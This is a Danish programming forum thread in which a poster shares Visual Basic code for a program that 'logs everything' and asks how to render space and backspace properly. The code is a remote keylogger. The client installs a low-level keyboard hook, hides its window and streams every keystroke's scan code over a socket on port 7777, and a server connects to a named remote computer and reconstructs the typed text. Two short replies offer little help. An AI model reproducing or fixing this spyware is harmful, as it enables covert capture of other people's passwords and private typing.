SPACE til " "

Tags:    visual-basic

jeg har et lille prog der logger alt hvad jeg laver men naar jeg laver space eller backspace skriver den det istedet for at lave et mellemrum, hvordan kan jeg lave det om???

server code:

Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Dim cnt As Integer, cln As String

Private Sub clname_Click()
wssrv.SendData "NAM"
End Sub

Private Sub connect_Click()
On Error GoTo er
Dim clt As String
clt = InputBox("Enter the remote computers name to connect:" & vbCrLf & "(Leave blank for localhost)", "Client name!")
If clt = "" Then
clt = "localhost"
End If
wssrv.RemoteHost = clt
wssrv.RemotePort = 7777
wssrv.connect
connect.Enabled = False
discon.Enabled = True
er:

End Sub

Private Sub discon_Click()
wssrv.Close
discon.Enabled = False
connect.Enabled = True
End Sub

Private Sub editfile_Click()
If editfile.Checked = False Then
Text1.Locked = False
editfile.Checked = True
Else
Text1.Locked = True
editfile.Checked = False
End If
End Sub

Private Sub exit_Click()
End
End Sub

Private Sub Form_Load()
Dim p As String, l As Long
p = Space(100)
l = GetComputerName(p, Len(p))
Caption = Caption & " >Running at: " & UCase(p)
discon.Enabled = False
cnt = 0
End Sub

Private Sub Form_Resize()
On Error Resume Next
Text1.Height = Form1.Height - 800
Text1.Width = Form1.Width - 300

End Sub

Private Sub openfile_Click()
Dim t As String
cdg.Filter = "*.txt"
cdg.ShowOpen
If cdg.FileName = "" Then
Exit Sub
End If
If Len(Text1.Text) <> 0 Then
If MsgBox("Have you saved the content? If not click OK to save it!", vbOKCancel, "1 minute please..") = vbOK Then
save_Click
End If
End If
Open cdg.FileName For Input As #1
Text1.Text = ""
While Not EOF(1)
Input #1, t
Text1.Text = Text1.Text & t
Wend
Close #1
End Sub

Private Sub save_Click()
Dim fn As String
cdg.Filter = "*.txt"
cdg.ShowSave
If cdg.FileName = "" Then
Exit Sub
End If
Open cdg.FileName For Output As #1
Print #1, Text1.Text
Close #1
End Sub


Private Sub wssrv_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim p() As String
Dim fvl, tvl As String
Dim dt As String
Dim k As Long
wssrv.GetData k
cnt = cnt + 1
For u = 0 To List1.ListCount
dt = List1.List(u)
p = Split(dt, ":")
If p(0) = k Then
Text1.Text = Text1.Text & p(1)
End If
p(0) = ""
p(1) = ""
Next u
End Sub

client code:

Dim hhkLowLevelKybd As Long
Public bctd As Boolean

Private Sub Command2_Click()
wscli.Close
UnhookWindowsHookEx hhkLowLevelKybd
End
End Sub

Private Sub Form_Load()
On Error GoTo er
wscli.LocalPort = 7777
wscli.Listen
hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)
Me.WindowState = 1
Me.Hide
er:
If Err.Number <> 0 Then
MsgBox Err.Description, vbOKOnly, "Error: " & Err.Number
End
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Cancel = True
wscli.Close
UnhookWindowsHookEx hhkLowLevelKybd
End
End Sub

Private Sub wscli_ConnectionRequest(ByVal requestID As Long)
If wscli.State <> sckClosed Then
wscli.Close
End If
wscli.Accept requestID
bctd = True
End Sub

client module:

Option Explicit
Public bchk As Boolean
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Public Const HC_ACTION = 0
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E

Public Const WH_KEYBOARD_LL = 13
Public Const LLKHF_ALTDOWN = &H20

Public Type KBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type

Dim p As KBDLLHOOKSTRUCT
Dim sc As Long

Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim fEatKeystroke As Boolean
Dim fenable As Boolean
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
CopyMemory p, ByVal lParam, Len(p)
If Form1.bctd = True Then
Form1.wscli.SendData p.scanCode
p.scanCode = 0
End If

' fEatKeystroke = _
' ((p.vkCode = VK_TAB) And ((p.flags And LLKHF_ALTDOWN) <> 0)) Or _
' ((p.vkCode = VK_ESCAPE) And ((p.flags And LLKHF_ALTDOWN) <> 0)) Or _
' ((p.vkCode = VK_ESCAPE) And ((GetKeyState(VK_CONTROL) And &H8000) <> 0) Or (p.scanCode = 91) Or (p.scanCode = 92))
End If
End If
End Function
plz help



2 svar postet i denne tråd vises herunder
0 indlæg har modtaget i alt 0 karma
Sorter efter stemmer Sorter efter dato
kan du ikke gøre noget lignende :

If (window.event.keyCode = XXX) Then

'//ændre i din streng

End If

hvor XXX indikerer backspace eller space tallet.


Med venlig hilsen
/Jokke Jensen
www.jj-multimediedesign.dk



Ville gerne hjælpe, men kan ikke engang få winME til at kalde LowLevelKeyboardProc funktionen ved tastetryk!

// Your brain is your weapon, do not waste it!!



t